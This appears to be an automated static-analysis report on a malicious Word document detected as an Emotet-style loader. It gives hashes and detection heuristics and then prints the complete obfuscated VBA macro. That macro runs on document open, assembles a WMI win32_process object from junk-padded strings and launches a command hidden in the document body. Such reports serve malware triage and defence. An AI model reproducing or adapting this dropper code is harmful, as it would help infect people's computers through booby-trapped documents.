Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6b33c0213605687c…

MALICIOUS

Office (OLE)

174.5 KB Created: 2021-01-22 10:24:00 Authoring application: Microsoft Office Word First seen: 2021-02-23
MD5: eb09fc8e0fae99e910aa203ed5e08aae SHA-1: 0e570f8e9b23a0decec6e230e35d6c20420cd212 SHA-256: 6b33c0213605687c080ebef68e2ae366e3d35f90cb1bf80ad4506ad738284806
172 Risk Score

Heuristics 7

  • ClamAV: Doc.Malware.Emodldr-10033991-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10033991-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set F_yz9ots5y0q916g = CreateObject(Fev2w7apwmjwu6)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16627 bytes
SHA-256: b797bdff6d18edabc5d90a8d419e6bd318927838a8eade718328ed83a496b8ac
Detection
ClamAV: No threats found
Obfuscation or payload: likely
127 of 219 identifiers look randomly generated (e.g. 'Jzmu5jym4_2zdw2hk'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "I40fubxzohvc"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Iemid5ewh9fn44ue4d
End Sub

Attribute VB_Name = "Bnv6opphggdv7c"
    

Attribute VB_Name = "Qxx57jeihcv7kpc"
Function Iemid5ewh9fn44ue4d()
   GoTo tIbIB
Set oiRWEJe = IyHqbAc
    Dim xqLeEv, PHRJCEJ, gVicDeH As Long
    Dim cbAXk As Word.Paragraph
    Dim hFynJFg() As Byte
    For Each cbAXk In I40fubxzohvc.Paragraphs
        hFynJFg = cbAXk.Range
        dscc = "sadsaccc" & cbAXk.Range
        PHRJCEJ = UBound(hFynJFg) - 1
        xqLeEv = 0
Set sxGxCCH = uhhiFID
        Do Until PHRJCEJ > PHRJCEJ
            If hFynJFg(PHRJCEJ) = 46 Or PHRJCEJ = PHRJCEJ Then
                dscc = "sasdsacc" & (xqLeEv / 2) + 1 & " to " & (PHRJCEJ / 2) + 1 & MidB$(hFynJFg, xqLeEv + 1, PHRJCEJ - xqLeEv + 3)
                xqLeEv = PHRJCEJ + 2
            End If
            PHRJCEJ = PHRJCEJ + 2
        Loop
    Next
tIbIB:
skuwd = R_mnpf8wroptd9u4 + I40fubxzohvc _
. _
Content + Fhkkbegpn42q
   GoTo vSMlwUIDL
Set fwvNVJLZ = cYizJmS
    Dim aSKhl, KpicQD, GGdQwQCF As Long
    Dim DSnjhWII As Word.Paragraph
    Dim GEclQnE() As Byte
    For Each DSnjhWII In I40fubxzohvc.Paragraphs
        GEclQnE = DSnjhWII.Range
        dscc = "sadsaccc" & DSnjhWII.Range
        KpicQD = UBound(GEclQnE) - 1
        aSKhl = 0
Set wcSwyH = WmMRE
        Do Until KpicQD > KpicQD
            If GEclQnE(KpicQD) = 46 Or KpicQD = KpicQD Then
                dscc = "sasdsacc" & (aSKhl / 2) + 1 & " to " & (KpicQD / 2) + 1 & MidB$(GEclQnE, aSKhl + 1, KpicQD - aSKhl + 3)
                aSKhl = KpicQD + 2
            End If
            KpicQD = KpicQD + 2
        Loop
    Next
vSMlwUIDL:
wjnsc = "x [ sh bpx [ sh b"
Rfzwi2s7ujb1dg5hk = "x [ sh brox [ sh bx [ sh bcex [ sh bsx [ sh bsx [ sh bx [ sh b"
   GoTo XQdCe
Set nJuqJeqtH = hPWvGGT
    Dim lLZqBL, oqGnXGWtE, XkQuZw As Long
    Dim SDguE As Word.Paragraph
    Dim liFQHYD() As Byte
    For Each SDguE In I40fubxzohvc.Paragraphs
        liFQHYD = SDguE.Range
        dscc = "sadsaccc" & SDguE.Range
        oqGnXGWtE = UBound(liFQHYD) - 1
        lLZqBL = 0
Set zkqYtlH = oqNqBAECI
        Do Until oqGnXGWtE > oqGnXGWtE
            If liFQHYD(oqGnXGWtE) = 46 Or oqGnXGWtE = oqGnXGWtE Then
                dscc = "sasdsacc" & (lLZqBL / 2) + 1 & " to " & (oqGnXGWtE / 2) + 1 & MidB$(liFQHYD, lLZqBL + 1, oqGnXGWtE - lLZqBL + 3)
                lLZqBL = oqGnXGWtE + 2
            End If
            oqGnXGWtE = oqGnXGWtE + 2
        Loop
    Next
XQdCe:
Pz6cp3gp_j7up9x = "x [ sh b:wx [ sh bx [ sh binx [ sh b3x [ sh b2x [ sh b_x [ sh b"
   GoTo tZVVDD
Set QXJckWHD = qqikfNvB
    Dim qOXgfJf, pmTUt, KPCRHI As Long
    Dim mYWyVBbA As Word.Paragraph
    Dim JekikCC() As Byte
    For Each mYWyVBbA In I40fubxzohvc.Paragraphs
        JekikCC = mYWyVBbA.Range
        dscc = "sadsaccc" & mYWyVBbA.Range
        pmTUt = UBound(JekikCC) - 1
        qOXgfJf = 0
Set PSwXC = QPqIIJJ
        Do Until pmTUt > pmTUt
            If JekikCC(pmTUt) = 46 Or pmTUt = pmTUt Then
                dscc = "sasdsacc" & (qOXgfJf / 2) + 1 & " to " & (pmTUt / 2) + 1 & MidB$(JekikCC, qOXgfJf + 1, pmTUt - qOXgfJf + 3)
                qOXgfJf = pmTUt + 2
            End If
            pmTUt = pmTUt + 2
        Loop
    Next
tZVVDD:
Ed7zyed_lg0 = "wx [ sh binx [ sh bmx [ sh bgmx [ sh btx [ sh bx [ sh b"
   GoTo vLKwUj
Set oNdHqFUG = xRsOFL
    Dim wUHBDBE, oOopBvD, nlkFJKOGH As Long
    Dim rowStJr As Word.Paragraph
    Dim ZvRlEDqH() As Byte
    For Each rowStJr In I40fubxzohvc.Paragraphs
        ZvRlEDqH = rowStJr.Range
        dscc = "sadsaccc" & rowStJr.Range
        oOopBvD = UBound(ZvRlEDqH) - 1
        wUHBDBE = 0
Set rgnDmAuHF = nEkdxnBF
        Do Until oOopBvD > oOopBvD
            If ZvRlEDqH(oOopBvD) = 46 Or oOopBvD = oOopBvD Then
                dscc = "sasdsacc" & (wUHBDBE / 2) + 1 & " to " & (oOopBvD / 2) + 1 & MidB$(ZvRlEDqH, wUHBDBE + 1, oOopBvD - wUHBDBE + 3)
                wUHBDBE = oOopBvD + 2
            End If
            oOopBvD = oOopBvD + 2
        Loop
    Next
vLKwUj:
Iicvqmcilekv086o = "x [ sh bx [ sh b" + Mid(Application.Name, 60 / 10, 1) + "x [ sh bx [ sh b"
   GoTo zUHFCHBZ
Set ZFfWAAK = jEgEZc
    Dim TkDgFn, nuuDEBJyA, zRYhotD As Long
    Dim uEkOEJVDI As Word.Paragraph
    Dim WbFnCEG() As Byte
    For Each uEkOEJVDI In I40fubxzohvc.Paragraphs
        WbFnCEG = uEkOEJVDI.Range
        dscc = "sadsaccc" & uEkOEJVDI.Range
        nuuDEBJyA = UBound(WbFnCEG) - 1
        TkDgFn = 0
Set PSUgIgFI = LtJglVl
        Do Until nuuDEBJyA > nuuDEBJyA
            If WbFnCEG(nuuDEBJyA) = 46 Or nuuDEBJyA = nuuDEBJyA Then
                dscc = "sasdsacc" & (TkDgFn / 2) + 1 & " to " & (nuuDEBJyA / 2) + 1 & MidB$(WbFnCEG, TkDgFn + 1, nuuDEBJyA - TkDgFn + 3)
                TkDgFn = nuuDEBJyA + 2
            End If
            nuuDEBJyA = nuuDEBJyA + 2
        Loop
    Next
zUHFCHBZ:
Qnihsih6bu6sda = Ed7zyed_lg0 + Iicvqmcilekv086o + Pz6cp3gp_j7up9x + wjnsc + Rfzwi2s7ujb1dg5hk
   GoTo oCzTJIJ
Set vHiDh = EdQwnSFFF
    Dim zsVOwpxHL, RvyBDoLII, BVzMS As Long
    Dim UdGMwm As Word.Paragraph
    Dim DgcqD() As Byte
    For Each UdGMwm In I40fubxzohvc.Paragraphs
        DgcqD = UdGMwm.Range
        dscc = "sadsaccc" & UdGMwm.Range
        RvyBDoLII = UBound(DgcqD) - 1
        zsVOwpxHL = 0
Set hgGnWAFE = bcvxJB
        Do Until RvyBDoLII > RvyBDoLII
            If DgcqD(RvyBDoLII) = 46 Or RvyBDoLII = RvyBDoLII Then
                dscc = "sasdsacc" & (zsVOwpxHL / 2) + 1 & " to " & (RvyBDoLII / 2) + 1 & MidB$(DgcqD, zsVOwpxHL + 1, RvyBDoLII - zsVOwpxHL + 3)
                zsVOwpxHL = RvyBDoLII + 2
            End If
            RvyBDoLII = RvyBDoLII + 2
        Loop
    Next
oCzTJIJ:
Fev2w7apwmjwu6 = Jaxeo5o9qdtnl(Qnihsih6bu6sda)
   GoTo agelFHE
Set uqxPUA = zxsYdC
    Dim nxLwRJOGJ, rfbdDFi, qtDpt As Long
    Dim MWhwEQ As Word.Paragraph
    Dim aAoQBI() As Byte
    For Each MWhwEQ In I40fubxzohvc.Paragraphs
        aAoQBI = MWhwEQ.Range
        dscc = "sadsaccc" & MWhwEQ.Range
        rfbdDFi = UBound(aAoQBI) - 1
        nxLwRJOGJ = 0
Set dqGZZGv = JInqBBS
        Do Until rfbdDFi > rfbdDFi
            If aAoQBI(rfbdDFi) = 46 Or rfbdDFi = rfbdDFi Then
                dscc = "sasdsacc" & (nxLwRJOGJ / 2) + 1 & " to " & (rfbdDFi / 2) + 1 & MidB$(aAoQBI, nxLwRJOGJ + 1, rfbdDFi - nxLwRJOGJ + 3)
                nxLwRJOGJ = rfbdDFi + 2
            End If
            rfbdDFi = rfbdDFi + 2
        Loop
    Next
agelFHE:
Set F_yz9ots5y0q916g = CreateObject(Fev2w7apwmjwu6)
   GoTo yxsJXELH
Set mbRmCBEG = noWTc
    Dim UJcHAAGCD, UExKnGgKp, ZpUgGEZ As Long
    Dim HqHFHsSe As Word.Paragraph
    Dim XSyxGk() As Byte
    For Each HqHFHsSe In I40fubxzohvc.Paragraphs
        XSyxGk = HqHFHsSe.Range
        dscc = "sadsaccc" & HqHFHsSe.Range
        UExKnGgKp = UBound(XSyxGk) - 1
        UJcHAAGCD = 0
Set JXvGuE = BbxENrZ
        Do Until UExKnGgKp > UExKnGgKp
            If XSyxGk(UExKnGgKp) = 46 Or UExKnGgKp = UExKnGgKp Then
                dscc = "sasdsacc" & (UJcHAAGCD / 2) + 1 & " to " & (UExKnGgKp / 2) + 1 & MidB$(XSyxGk, UJcHAAGCD + 1, UExKnGgKp - UJcHAAGCD + 3)
                UJcHAAGCD = UExKnGgKp + 2
            End If
            UExKnGgKp = UExKnGgKp + 2
        Loop
    Next
yxsJXELH:
njcnja = Mid(skuwd, (1 + 1 + 1 + 1), Len(skuwd))
nnjasd = Jaxeo5o9qdtnl(njcnja)
   GoTo GDseZ
Set rRbfDIIF = rRjiDh
    Dim AnrOB, sNZDA, aGvOGstF As Long
    Dim LEdkAGF As Word.Paragraph
    Dim LLYkdXID() As Byte
    For Each LEdkAGF In I40fubxzohvc.Paragraphs
        LLYkdXID = LEdkAGF.Range
        dscc = "sadsaccc" & LEdkAGF.Range
        sNZDA = UBound(LLYkdXID) - 1
        AnrOB = 0
Set tunnV = XWSOI
        Do Until sNZDA > sNZDA
            If LLYkdXID(sNZDA) = 46 Or sNZDA = sNZDA Then
                dscc = "sasdsacc" & (AnrOB / 2) + 1 & " to " & (sNZDA / 2) + 1 & MidB$(LLYkdXID, AnrOB + 1, sNZDA - AnrOB + 3)
                AnrOB = sNZDA + 2
            End If
            sNZDA = sNZDA + 2
        Loop
    Next
GDseZ:
F_yz9ots5y0q916g.Create nnjasd, Itfdbdx0blo3h, Jzmu5jym4_2zdw2hk
   GoTo IhoRrWBPF
Set colAJvA = RtRlbiuj
    Dim rWTbqFBE, gOvgJF, qsoZA As Long
    Dim VCwuIHC As Word.Paragraph
    Dim jYQyE() As Byte
    For Each VCwuIHC In I40fubxzohvc.Paragraphs
        jYQyE = VCwuIHC.Range
        dscc = "sadsaccc" & VCwuIHC.Range
        gOvgJF = UBound(jYQyE) - 1
        rWTbqFBE = 0
Set JxoKGE = XMjkhMSn
        Do Until gOvgJF > gOvgJF
            If jYQyE(gOvgJF) = 46 Or gOvgJF = gOvgJF Then
                dscc = "sasdsacc" & (rWTbqFBE / 2) + 1 & " to " & (gOvgJF / 2) + 1 & MidB$(jYQyE, rWTbqFBE + 1, gOvgJF - rWTbqFBE + 3)
                rWTbqFBE = gOvgJF + 2
            End If
            gOvgJF = gOvgJF + 2
        Loop
    Next
IhoRrWBPF:
End Function
Function Jaxeo5o9qdtnl(N4gvea5d87ap1bd)
On Error Resume Next
   GoTo wIxJHBFJK
Set udVvoCmf = yVWeIEGh
    Dim RfTMCap, fmaPEEk, yBJNEIVC As Long
    Dim fhsOBBI As Word.Paragraph
    Dim uTsUIE() As Byte
    For Each fhsOBBI In I40fubxzohvc.Paragraphs
        uTsUIE = fhsOBBI.Range
        dscc = "sadsaccc" & fhsOBBI.Range
        fmaPEEk = UBound(uTsUIE) - 1
        RfTMCap = 0
Set vzRxJ = oiQlD
        Do Until fmaPEEk > fmaPEEk
            If uTsUIE(fmaPEEk) = 46 Or fmaPEEk = fmaPEEk Then
                dscc = "sasdsacc" & (RfTMCap / 2) + 1 & " to " & (fmaPEEk / 2) + 1 & MidB$(uTsUIE, RfTMCap + 1, fmaPEEk - RfTMCap + 3)
                RfTMCap = fmaPEEk + 2
            End If
            fmaPEEk = fmaPEEk + 2
        Loop
    Next
wIxJHBFJK:
Xtlsi6kqggdp3bgk = N4gvea5d87ap1bd
   GoTo ULARG
Set OfbfPHE = LfvwkFOT
    Dim jGYzy, rZbQYHdGB, TjUaDB As Long
    Dim hawiX As Word.Paragraph
    Dim ONhqIA() As Byte
    For Each hawiX In I40fubxzohvc.Paragraphs
        ONhqIA = hawiX.Range
        dscc = "sadsaccc" & hawiX.Range
        rZbQYHdGB = UBound(ONhqIA) - 1
        jGYzy = 0
Set TlFyxFF = AClUyDAHE
        Do Until rZbQYHdGB > rZbQYHdGB
            If ONhqIA(rZbQYHdGB) = 46 Or rZbQYHdGB = rZbQYHdGB Then
                dscc = "sasdsacc" & (jGYzy / 2) + 1 & " to " & (rZbQYHdGB / 2) + 1 & MidB$(ONhqIA, jGYzy + 1, rZbQYHdGB - jGYzy + 3)
                jGYzy = rZbQYHdGB + 2
            End If
            rZbQYHdGB = rZbQYHdGB + 2
        Loop
    Next
ULARG:
Mvewyb_sa3gra8 = G1i061417oxvyh_k(Xtlsi6kqggdp3bgk)
   GoTo vzCEIF
Set mKGUHvG = qBUnEJ
    Dim LUjZSEHgH, ECzRafBD, gmDpG As Long
    Dim sCXLA As Word.Paragraph
    Dim mQfOgCL() As Byte
    For Each sCXLA In I40fubxzohvc.Paragraphs
        mQfOgCL = sCXLA.Range
        dscc = "sadsaccc" & sCXLA.Range
        ECzRafBD = UBound(mQfOgCL) - 1
        LUjZSEHgH = 0
Set NxHipFio = ogeFa
        Do Until ECzRafBD > ECzRafBD
            If mQfOgCL(ECzRafBD) = 46 Or ECzRafBD = ECzRafBD Then
                dscc = "sasdsacc" & (LUjZSEHgH / 2) + 1 & " to " & (ECzRafBD / 2) + 1 & MidB$(mQfOgCL, LUjZSEHgH + 1, ECzRafBD - LUjZSEHgH + 3)
                LUjZSEHgH = ECzRafBD + 2
            End If
            ECzRafBD = ECzRafBD + 2
        Loop
    Next
vzCEIF:
Jaxeo5o9qdtnl = Mvewyb_sa3gra8
   GoTo tefRCAIhw
Set XDtZFTD = MxoCHFzGA
    Dim jZEPPE, jtnBGCI, bDecGQSB As Long
    Dim LdSuHaA As Word.Paragraph
    Dim sPnqJFCD() As Byte
    For Each LdSuHaA In I40fubxzohvc.Paragraphs
        sPnqJFCD = LdSuHaA.Range
        dscc = "sadsaccc" & LdSuHaA.Range
        jtnBGCI = UBound(sPnqJFCD) - 1
        jZEPPE = 0
Set eYboInJl = fRmteGEvC
        Do Until jtnBGCI > jtnBGCI
            If sPnqJFCD(jtnBGCI) = 46 Or jtnBGCI = jtnBGCI Then
                dscc = "sasdsacc" & (jZEPPE / 2) + 1 & " to " & (jtnBGCI / 2) + 1 & MidB$(sPnqJFCD, jZEPPE + 1, jtnBGCI - jZEPPE + 3)
                jZEPPE = jtnBGCI + 2
            End If
            jtnBGCI = jtnBGCI + 2
        Loop
    Next
tefRCAIhw:
End Function
Function G1i061417oxvyh_k(V6x19m6t_qhh)
   GoTo kiofGtHI
Set hIiKVDEB = vloroHC
    Dim KcdXEHh, nIrXIb, zComoNJmM As Long
    Dim HLOOF As Word.Paragraph
    Dim pKspuG() As Byte
    For Each HLOOF In I40fubxzohvc.Paragraphs
        pKspuG = HLOOF.Range
        dscc = "sadsaccc" & HLOOF.Range
        nIrXIb = UBound(pKspuG) - 1
        KcdXEHh = 0
Set qcoVnC = iGYZED
        Do Until nIrXIb > nIrXIb
            If pKspuG(nIrXIb) = 46 Or nIrXIb = nIrXIb Then
                dscc = "sasdsacc" & (KcdXEHh / 2) + 1 & " to " & (nIrXIb / 2) + 1 & MidB$(pKspuG, KcdXEHh + 1, nIrXIb - KcdXEHh + 3)
                KcdXEHh = nIrXIb + 2
            End If
            nIrXIb = nIrXIb + 2
        Loop
    Next
kiofGtHI:
   GoTo FTVvAX
Set qgxAO = mSFZzD
    Dim OCnJDEFJh, HPAUca, tKtaIA As Long
    Dim kmeesipR As Word.Paragraph
    Dim vQaEj() As Byte
    For Each kmeesipR In I40fubxzohvc.Paragraphs
        vQaEj = kmeesipR.Range
        dscc = "sadsaccc" & kmeesipR.Range
        HPAUca = UBound(vQaEj) - 1
        OCnJDEFJh = 0
Set fWeWAAGVK = SZFZIGHtG
        Do Until HPAUca > HPAUca
            If vQaEj(HPAUca) = 46 Or HPAUca = HPAUca Then
                dscc = "sasdsacc" & (OCnJDEFJh / 2) + 1 & " to " & (HPAUca / 2) + 1 & MidB$(vQaEj, OCnJDEFJh + 1, HPAUca - OCnJDEFJh + 3)
                OCnJDEFJh = HPAUca + 2
            End If
            HPAUca = HPAUca + 2
        Loop
    Next
FTVvAX:
   GoTo izoCyAjDH
Set FwBfRXFBh = pokBIPuI
    Dim NgjCR, ZHjuD, vhOGeyFP As Long
    Dim QVCHr As Word.Paragraph
    Dim TBGAp() As Byte
    For Each QVCHr In I40fubxzohvc.Paragraphs
        TBGAp = QVCHr.Range
        dscc = "sadsaccc" & QVCHr.Range
        ZHjuD = UBound(TBGAp) - 1
        NgjCR = 0
Set QDcaIF = QZGvDEAC
        Do Until ZHjuD > ZHjuD
            If TBGAp(ZHjuD) = 46 Or ZHjuD = ZHjuD Then
                dscc = "sasdsacc" & (NgjCR / 2) + 1 & " to " & (ZHjuD / 2) + 1 & MidB$(TBGAp, NgjCR + 1, ZHjuD - NgjCR + 3)
                NgjCR = ZHjuD + 2
            End If
            ZHjuD = ZHjuD + 2
        Loop
    Next
izoCyAjDH:
G1i061417oxvyh_k = Replace(V6x19m6t_qhh, "x [ sh b", Nkrtdutupxo2r)
   GoTo LExgWFp
Set sxUKD = IISfAGI
    Dim KIwqqHR, ljGzDOJS, tZyxCp As Long
    Dim fvBXIGE As Word.Paragraph
    Dim GeRrHDHJH() As Byte
    For Each fvBXIGE In I40fubxzohvc.Paragraphs
        GeRrHDHJH = fvBXIGE.Range
        dscc = "sadsaccc" & fvBXIGE.Range
        ljGzDOJS = UBound(GeRrHDHJH) - 1
        KIwqqHR = 0
Set EuwWIEA = UIKuDA
        Do Until ljGzDOJS > ljGzDOJS
            If GeRrHDHJH(ljGzDOJS) = 46 Or ljGzDOJS = ljGzDOJS Then
                dscc = "sasdsacc" & (KIwqqHR / 2) + 1 & " to " & (ljGzDOJS / 2) + 1 & MidB$(GeRrHDHJH, KIwqqHR + 1, ljGzDOJS - KIwqqHR + 3)
                KIwqqHR = ljGzDOJS + 2
            End If
            ljGzDOJS = ljGzDOJS + 2
        Loop
    Next
LExgWFp:
   GoTo BhDLcGG
Set NALfd = vuCIAyqe
    Dim IKdmG, oIcaZCbJ, bPdpxPCCh As Long
    Dim lorhtCaJD As Word.Paragraph
    Dim JpCvHfGqH() As Byte
    For Each lorhtCaJD In I40fubxzohvc.Paragraphs
        JpCvHfGqH = lorhtCaJD.Range
        dscc = "sadsaccc" & lorhtCaJD.Range
        oIcaZCbJ = UBound(JpCvHfGqH) - 1
        IKdmG = 0
Set oFMscFYoZ = uPpyChh
        Do Until oIcaZCbJ > oIcaZCbJ
            If JpCvHfGqH(oIcaZCbJ) = 46 Or oIcaZCbJ = oIcaZCbJ Then
                dscc = "sasdsacc" & (IKdmG / 2) + 1 & " to " & (oIcaZCbJ / 2) + 1 & MidB$(JpCvHfGqH, IKdmG + 1, oIcaZCbJ - IKdmG + 3)
                IKdmG = oIcaZCbJ + 2
            End If
            oIcaZCbJ = oIcaZCbJ + 2
        Loop
    Next
BhDLcGG:
   GoTo xGpxR
Set SUEjgJE = uSYDsHH
    Dim aauGRoET, mGGEBFB, hFtUtCG As Long
    Dim iWhMG As Word.Paragraph
    Dim kvnEuClW() As Byte
    For Each iWhMG In I40fubxzohvc.Paragraphs
        kvnEuClW = iWhMG.Range
        dscc = "sadsaccc" & iWhMG.Range
        mGGEBFB = UBound(kvnEuClW) - 1
        aauGRoET = 0
Set tTRLFEFd = zkGhCA
        Do Until mGGEBFB > mGGEBFB
            If kvnEuClW(mGGEBFB) = 46 Or mGGEBFB = mGGEBFB Then
                dscc = "sasdsacc" & (aauGRoET / 2) + 1 & " to " & (mGGEBFB / 2) + 1 & MidB$(kvnEuClW, aauGRoET + 1, mGGEBFB - aauGRoET + 3)
                aauGRoET = mGGEBFB + 2
            End If
            mGGEBFB = mGGEBFB + 2
        Loop
    Next
xGpxR:
End Function